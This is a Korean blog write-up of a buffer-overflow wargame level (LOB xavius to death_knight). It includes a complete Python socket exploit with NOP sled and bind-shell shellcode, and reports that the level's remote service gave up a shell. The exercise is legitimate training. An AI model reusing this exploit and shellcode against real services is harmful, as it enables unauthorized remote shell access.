농소

The Lord Of The BOF // xavius -> death_knight 본문

Wargame/The Lord Of The BOF

The Lord Of The BOF // xavius -> death_knight

농소 2018. 2. 22. 02:39





단순히 소켓을 통해 외부에서 bof를 해주면 되는 문제입니다.


현재 버퍼크기는 40바이트인데

while문의 recv를 보시면 buffer에 256바이트 크기를 받고있습니다.

bof가 발생하게 됩니다.


[xavius@localhost xavius]$ ps -ef

death_kn   646     1  0 Feb21 ?        00:00:00 /home/xavius/death_knight

프로세스를 보니 현재 실행중임을 알수 있으니

이를 통하여 nop코드와 쉘코드를 넣고 외부에서 보내주면 되겠네요



파이선으로 코드를 작성하면

from socket import *


payload = b'A' * 44

payload += b'\x12\xfd\xff\xbf'

payload += b'\x90' * 100

payload += b"\x66\xbd"

payload += b"\x2b\x67"

payload += b"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"

payload += b"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"

payload += b"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"

payload += b"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"

payload += b"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"

payload += b"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"

payload += b"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"

payload += b"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"

payload += b"\x53\xeb\xa8"


sock = socket(AF_INET, SOCK_STREAM)

sock.connect( ('100.100.100.****', 6666) )


data = sock.recv( 65535 )

data = sock.recv( 65535 )

sock.send( payload )


네트워크는 빅인디안을 사용하고 cpu는 리틀인디안을 사용하므로 고려해서 뒤집어줍니다.

원격에서는 ret주소를 정확히 알 겨를이 없어 brute force를 이용하지만 nop도 100개니 대충 때려 맞춰줍시다





nc로 11111번 포트로 접속하니 쉘이 실행이 되었습니다.